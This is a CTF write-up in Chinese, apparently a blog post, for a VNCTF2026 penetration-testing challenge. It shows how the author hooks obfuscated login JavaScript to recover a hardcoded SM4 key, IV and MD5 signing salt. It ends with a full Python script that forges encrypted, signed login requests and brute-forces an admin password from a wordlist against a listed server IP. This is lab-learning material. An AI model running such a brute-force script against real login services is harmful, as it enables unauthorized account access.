VNCTF2026_渗透测试

GHSC2026-02-092026-03-12

渗透测试

小弟第一次見到調試JS的題 , 學習一下

去BP看了下:

一開始我以為是RSA, 但解出來是亂碼 , 看了看官方的wp才知道是需要进行js调试。

先下載一個新工具:AntiDebug Breaker

这里用AntiDebug Breaker这个谷歌浏览器插件，hook一下对称加密和非对称加密:

看出n的作用是類似簽名作用 , 把是这一长串md5加密后的值

1	{"userName":"admin","passWord":"111","timeStamp":1770561617253,"TOKEN":"35150b18161d5a380e8bdfc8d2d8a00a"}\|Infernity\|{"key":"e37d522eae571440b0882d3ce7b094bc","iv":"85a624215b547bf96cd84b8166e81661"}

把「生成 TOKEN、生成 n、AES 加密」那段 JS 找出來

這是我第1次用js debug 先停用所有斷點 :

在AntiDebug Breaker 來追蹤Call Stack 追到 1.js :

找到了:

在這兩函數下一個斷點:發現有了 key 一堆東西出來了

那_0x526ce3和_0x158a14被赋值的两行就是分别的加密函数了

在_0x526ce3的_0x51fd08找到了加密函數:

sm4 , cbc , 追蹤變量 , 用cyberche驗證一下:

_0x526ce3為加密後的變數，就是p , q 是_0x158a14

p = _0x526ce3 = d028143200e0b029b29e59ef512221be06091fc09fc118db83379e3010cdc1f574c1cf24299e3e3613a22565fcad6ae929eee2cd5a0299cc7b9d444125dda2301ef1e3cb5cd2b416f8790215692e410d04b10fc597a88cd48fb116d83388de7af4bd68baf42e20321609c150b364eb4c

q = _0x158a14 = afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362

key = 531584a03814ffc5e2fe85705df7a480

iv = 505eb37344fbd234ce9142cb7ee4224a

所以是一個非对称加密加密对称加密密钥，用对称加密来加密业务数据，并附带时间戳、签名等防篡改，防重放的场景。签名就是n , p 是內容 , q是key和vi吧

import base64
import hashlib
import json
import time
import uuid
import requests
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT


def sm4_cbc_encrypt_hex(plaintext: bytes | str) -> str:
    if isinstance(plaintext, str):
        data = plaintext.encode("utf-8")
    else:
        data = plaintext

    key = bytes.fromhex("531584a03814ffc5e2fe85705df7a480")
    iv = bytes.fromhex("505eb37344fbd234ce9142cb7ee4224a")

    crypt = CryptSM4()
    crypt.set_key(key, SM4_ENCRYPT)

    cipher = crypt.crypt_cbc(iv, data)
    return cipher.hex()


if __name__ == "__main__":
    with open("VNCTF2026/014202_passwords.txt", "r", encoding="utf-8") as f:
        passwords = f.readlines()

    sess = requests.Session()

    fail_set = {
        "Fq3QhwvtNysY8brIt0n1oQ==",
        "5ow0Qvz2iE+uylTzDHYVww=="
    }

    for password in passwords:
        business = {
            "userName": "admin",
            "passWord": password.strip(),
            "timeStamp": int(time.time() * 1000),
            "TOKEN": hashlib.md5(str(uuid.uuid4()).encode()).hexdigest()
        }

        business_str = json.dumps(business, separators=(",", ":"))

        p = sm4_cbc_encrypt_hex(business_str)

        q = "afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362"

        sign_str = business_str + "|Infernity|" + '{"key":"531584a03814ffc5e2fe85705df7a480","iv":"505eb37344fbd234ce9142cb7ee4224a"}'
        n = hashlib.md5(sign_str.encode()).hexdigest()

        json_data = {"p": p, "q": q, "n": n}
        json_str = json.dumps(json_data)

        body = base64.b64encode(json_str.encode()).decode()

        res = sess.post("http://114.66.24.228:34313/login", data=body, timeout=3)

       
        rt = res.text.strip()
        pw = password.strip()
        print(pw, "=>", rt)


        if rt not in fail_set:
            print("[+] FOUND:", pw)
            print("[+] RESPONSE:", res.text)
            break